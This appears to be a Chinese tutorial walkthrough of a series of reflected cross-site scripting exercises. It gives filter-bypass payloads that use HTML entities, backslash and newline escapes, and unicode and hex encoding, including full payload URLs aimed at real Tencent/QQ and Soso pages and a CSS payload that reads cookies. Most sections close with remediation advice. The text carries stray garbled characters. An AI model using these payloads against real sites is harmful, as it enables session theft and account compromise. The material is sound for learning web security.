<1>
測試方法
經(jīng)過測試,我們發(fā)現(xiàn)爹脾,當(dāng)在score后輸入<>HTML標簽時惭婿,查看源碼,發(fā)現(xiàn)這便說明存在XSS漏洞歌憨,
修復(fù)方法
a. 通常着憨,我們只需要在輸出前,將 < , > 過濾掉即可务嫡。
b. 這類XSS在小型網(wǎng)站中比較常見甲抖,在大型網(wǎng)站中少見。
c. 這類XSS通常都被瀏覽器的XSS過濾器秒殺了心铃,所以一般來說准谚,威力較小。
d. 對于普通用戶來說去扣,請使用IE8及以上版本(并開啟XSS過濾器功能柱衔,默認開啟),或chrome瀏覽器愉棱,將可以防御大部分此種類型的XSS攻擊唆铐。
<2>
測試方法
輸入aaaaaa<>我們發(fā)現(xiàn)出現(xiàn)位置如下
解法1
1 首先判斷,是否過濾了 < , > , / 等符號奔滑,
2 如果都沒有過濾艾岂,恭喜你,一般可以直接XSS了朋其。代碼如下:
http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa</script><script>alert(1)</script>
但是天有不測風(fēng)雨王浴, 如果過濾了 <, >,那么就無法使用上面的辦法了
解法2
構(gòu)造js代碼:
eval('alert(1)');void
payload是不固定的令宿,也就是說叼耙,我們插入的內(nèi)容腕窥,使得這一段javascript依然【語法正確】粒没,能夠【正確執(zhí)行】,并且能夠執(zhí)行【我們所插入的JS代碼】簇爆,這樣我們的目的就達到了癞松。
類似于var a="[輸出]"; // 不過通常程序員會把 " 過濾掉爽撒, 這樣的話,一般來說响蓉,我們就很難構(gòu)造硕勿。
修復(fù)方案
1. 過濾 </xxx> 組合
2. 針對輸出在不同的場景,進行合適的過濾枫甲。
<3.1>
測試
輸入<>源武,發(fā)現(xiàn)被過濾了,查看源碼發(fā)現(xiàn)想幻,雙引號不會被過濾粱栖,故我們因此構(gòu)想payload
解法
當(dāng)用戶點擊這個文本框時,就會觸發(fā) XSS
<3.2>
測試
輸入<>/"(),發(fā)現(xiàn)只有/沒有被過濾脏毯,如何只用 \ 構(gòu)造利用語句呢闹究,我們可以想到CSS 中的字符編碼,CSS 提供了一套轉(zhuǎn)義處理策略食店,一個反斜杠后邊跟1~6位十六進制數(shù)字渣淤。然后利用CSS 的expression 來調(diào)用JavaScript 代碼。也就是試圖構(gòu)造出
expression(eval(alert(/xss/))
解法
完整的代碼如下:
<body style="... background-color:;width:expression(eval(alert(/xss/)))">
完整的payload:
bg=;w:expr\65ssion\28%20eval\28\27\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\7d\27\29\29
用分號來結(jié)束backgroud-color,然后 w: 后邊跟上expression,如果expression 要被過濾吉嫩,那就加上轉(zhuǎn)義价认,把expression 隨意變下形就可以,于是率挣,在下邊這樣的代碼構(gòu)造下刻伊,漏洞又被利用了。
試了很多次椒功,發(fā)現(xiàn)一直不出現(xiàn)XSS捶箱,原來
expression 當(dāng)年是微軟搞出來的技術(shù),但是一直沒被其他瀏覽器接受动漾,同時丁屎,甚至微軟自己如今也拋棄了這種特性,它出現(xiàn)在IE6旱眯,IE7晨川,和IE8的一些早期版本,因為微軟官方也認為該屬性不具有通用性删豺,而且它處理的事務(wù)共虑,如今已經(jīng)能夠在CSS 中正常的完成,如min-width,max-width呀页, 這些都已經(jīng)在IE8之后得到很好的支持妈拌,所以expression 也只能在這兩個古老版本上起效。
<3.3>
測試
輸入aaaaaaaa<>'/"()測試
根據(jù)測試蓬蝶,我們發(fā)現(xiàn)只有/,(),'這三個符號沒被過濾尘分,而且攻擊點在第二個等于后面猜惋。
........&searchvalue_yjbg=aaaaaa'
.......&searchvalue_yjbg=aaaaaa'+alert(1)+''
........&searchvalue_yjbg=aaaaaa'+alert(1)+'
解法
&: %26, #: %23,+:%2b,':%27
payload:
aaaaaaa%26%23x27;%2balert(1)%2b%26%23x27
由于缺陷點是發(fā)生在 onkeydown 或 a 標簽的 href 屬性中,無法自動觸發(fā)培愁,因而使得威脅減小著摔,如果是發(fā)生在 img 的 onload 屬性,則非扯ㄐ可能導(dǎo)致自動觸發(fā)谍咆,故需手動點擊GO觸發(fā)XSS。
修復(fù)方法(綜合以上三個)
1. 對于輸出在HTML屬性中的情況私股,需要特殊情況特殊對待卧波,該過濾\的時候,請過濾\, 該過濾&的情況庇茫,則過濾掉&
2. 碰到有某些修復(fù)的人用正則去判斷港粱, &#xNNN.., 而實際上 �NN; �NN, (后面自己慢慢試。旦签。) 都是可以的查坪。 或者是 
進制; 以及一些特殊的HTML實體,如 "等宁炫,都要注意到偿曙,好麻煩, 最好的辦法羔巢,還是 &過濾為 & :)
<4>
測試
輸入<>'/()“
發(fā)現(xiàn)"<>被過濾
%df"alert(1)
我們發(fā)現(xiàn)還有一個"沒有閉合望忆,但是直接加上",會被過濾竿秆,所以我們想到//注釋符號將它注釋即可
%df"alert(1)//
發(fā)現(xiàn)還不行
不難想到這是代碼启摄,結(jié)尾要用;,故
%df";alert(1)//
修復(fù)方案
修復(fù)相關(guān)過濾機制幽钢。
<5>
這道題不能用
由于網(wǎng)站問題歉备,本題只出示思路。
測試
輸入常用符號匪燕,經(jīng)過測試蕾羊,我們可以看到,雙引號是用不了帽驯, 但是 反斜線還可以使用龟再。\可以用
提取缺陷代碼
<script>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin="+"&t="+"&alias="+"®alias="+"&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%252Fcgi-bin%252Fsetting10%253Faction%253Dlist%2526t%253Dsetting10%2526ss%253Dindex%2526Mtype%253D1%2526clickpos%253D20%2526loc%253Ddelegate%252Cwebmap%252C%252C1"+"&title="+"&url=%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26ss%3Daaa%2522%26from%3Dbbb%5C%26delegate_url%3D%252Fcgi-bin%252Fframe_html%253Furl%253D%2525252Fcgi-bin%2525252Fsetting10%2525253Faction%2525253Dlist%25252526t%2525253Dsetting10%25252526ss%2525253Dindex%25252526Mtype%2525253D1%25252526clickpos%2525253D20%25252526loc%2525253Ddelegate%2525252Cwebmap%2525252C%2525252C1"+"&org_fun="+"&aliastype="+"&ss=aaa"+"&from=bbb"+"¶m="+"&sp=6fa57ce5b3047ebMTM1NTQwOTA2Mg"+"&r=3ec785174fff5206ed6f0cf4a8c5e3c5"+"&ppp="+"&secpp="</script>
缺陷部分
"........."+"&ss=aaaa"+"&from=bbb"+"¶m=";
解題
反斜線是用來表示轉(zhuǎn)義,我們要控制aaaa但是不能使用雙引號尼变,這時就可以用反斜線進行對雙引號的轉(zhuǎn)義利凑,
語法發(fā)生變化:
<script>getTop().location.href="......"+ "&ss=aaa\"+" &from=bbb "+" ?m= "+" .....";</script>
這樣看起來雖然前面的語法正確,但是后面的語句卻不太正常,故截碴,我們只需使用//將后面的語句進行注釋即可。
location.href="........."+"&ss=aaaa\"+"&from=1//"+"?m=";
但是還有一個問題蛉威,& 在這里日丹,被考慮成了一個與操作,優(yōu)先級是高于 =號的蚯嫌,變成了(“字符串”&from)=1 的語法哲虾,這仍然是錯誤的。但是择示,如果我們再測試一下束凑,= 號會不會被屏蔽呢,=號也可以用栅盲,那么我們改變一下語法汪诉,添加一個等號,變成 ==:
location.href="........."+"&ss=aaaa\"+"&from==1//"+"?m=";
于是語法編程了(“string”)&(from==1)的樣式谈秫,from 變成了一個bool操作扒寄,但現(xiàn)在又面臨了新的問題,如果你在URL 里本來該是一個定義的操作拟烫,卻變成了一個判斷的操作该编,from 就變成了未定義的狀態(tài)了,語法仍然會報錯硕淑,這我們就要進一步理解JavaScript的語法了课竣,如果我們把from 當(dāng)做一個變量或者是方法,如果是方法置媳,無論在何處定義于樟,都會被拉到最簡便,利用這樣一個特性拇囊,我們的代碼可以改改隔披。
location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"¶m=";
這樣一來,我們的 function from(){} 就會被提前解析寂拆,從而定義了from, 后面 from==1的時候奢米,就不會報錯.
但問題又來了,我們現(xiàn)在添加了許多東西纠永,而添加的這些東西鬓长,包含了許多特殊字符,會不會通過呢尝江,經(jīng)過實際測試涉波,空格符被轉(zhuǎn)義了。
空格符被轉(zhuǎn)義了怎么辦呢,我們找到新的替換品啤覆,那就是/**/, 這是一個注釋符赞枕,之前我們也測試過了,斜杠不會被過濾乒省,那么這個注釋符厌衙,成功的頂替了空格,形成了正常的語法笨觅。
故最終payload:
http://mail.qq.com/cgi-bin/login?vt=passport&ss=\&from==0;alert(1);function/**/from(){};//&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1
知識點
1.==的優(yōu)先級比 & 高拦耐,所以語句相當(dāng)于 ("字符串")&(from==1)
2.from未定義,直接和1進行相等判斷的話见剩,會報錯杀糯,錯誤是:“from”未定義
3.javascript里有一個特性:
aaa();
function aaa(){
}
凡是以 function xxx(){} 形式定義的函數(shù),都會被最優(yōu)先解析苍苞。換句話說:
解析器在解析JS代碼段時固翰,會先將 function xxx(){} 拿到最前面解析,然后再依次解析其它的部分羹呵。 換句話說倦挂,上面的代碼,實際的解析順序是:
function aaa(){
}
aaa();
這便是隱藏在payload中的知識點
location.href="........."+"&ss=aaaa\"+"&from==1;alert(1);function/**/from(){}//"+"¶m=";
function from()
{
aaaaa from == 1;
alert(1);
}
<6>
測試
用了幾個常用符
我們在一些注釋的代碼中也能發(fā)現(xiàn)我們的符號們担巩,不難發(fā)現(xiàn)被過濾的和沒被過濾的
那么我們需要思考方援,如果我們能讓代碼跳出注釋范圍,再利用alert(1)觸發(fā)XSS涛癌,這樣不就達到我們的目的了嗎犯戏?
解題
所以這里需要再科普一下換行符%0a
現(xiàn)在在view source里先構(gòu)造我們的payload,觀察有沒有什么變化拳话,
不難發(fā)現(xiàn)我們已經(jīng)成功跳出注釋圈先匪,成功的觸發(fā)XSS,不過這里也要注意弃衍,為了閉合后面的",由于雙引號被過濾呀非,所以我們只能將它注釋掉。
payload:
%0aalert(1);//
<7>
測試
簡單的測試镜盯,能找到被過濾的符號
審計
通過審計我們發(fā)現(xiàn)岸裙,這與上一道題相似,需要跳出注釋圈
解題
aaa%5c%0aalert(1);//
發(fā)現(xiàn)不太行速缆,源碼里多了一個\降允,也就是這里防\,所以我們需要吃掉\
aaa%c0%5c%0aalert(1);//
知識點
javascript艺糜,字符串允許下面多行的寫法剧董。
var a="我是一個字符串\
我還是一個字符串";
alert(a);
基于這點幢尚,把缺陷點構(gòu)造成下面的樣子。
//document.getElementById("order_select").value = "aaaa\
alert(1);//";
var searchOrder = "aaaa\
alert(1);//";
也就是用到換行符 %0a
反斜杠問題中%c0可以吃掉%5c
%5c就是\
<8.1>
測試
測試之后我們發(fā)現(xiàn)過濾情況和之前差不多翅楼。
在js中的字符串中的字符可以寫為 unicode編碼尉剩。
故我們將<>進行編碼,< 可以表示為 \u003c , > 可以表示為 \u003e
解題
<img src=1>
輸入后我們發(fā)現(xiàn)頁面沒有反應(yīng) 毅臊,查看源碼我們發(fā)現(xiàn)<>被過濾的問題沒有解決
\u003cimg src=1\u003e
再次嘗試 理茎,發(fā)現(xiàn)頁面出現(xiàn)反應(yīng)了,利用這個漏洞
\u003cimg src=1 onerror=alert(1)\u003e
<8.2>
測試
經(jīng)過簡單的測試發(fā)現(xiàn)它和上一道題基本類似
解題
那我們就開始大膽的解題了褂微,嘗試用上一道題的方法
很遺憾,很不幸园爷,很失望宠蚂,我們發(fā)現(xiàn)unicode編碼<>也被過濾了
在JS字符串里, < 不光可以寫為 \u003c童社,還可以寫為 \x3c求厕, > 同樣可以寫為 \x3e。
我們再試試這個扰楼,出現(xiàn)彈窗呀癣。故,
\x3cimg src=1 onerror=alert(1)\x3e
修復(fù)方案
修復(fù)方案:
方法1. 輸出時弦赖,過濾
方法2. innerHTML=encodeHTML([輸出])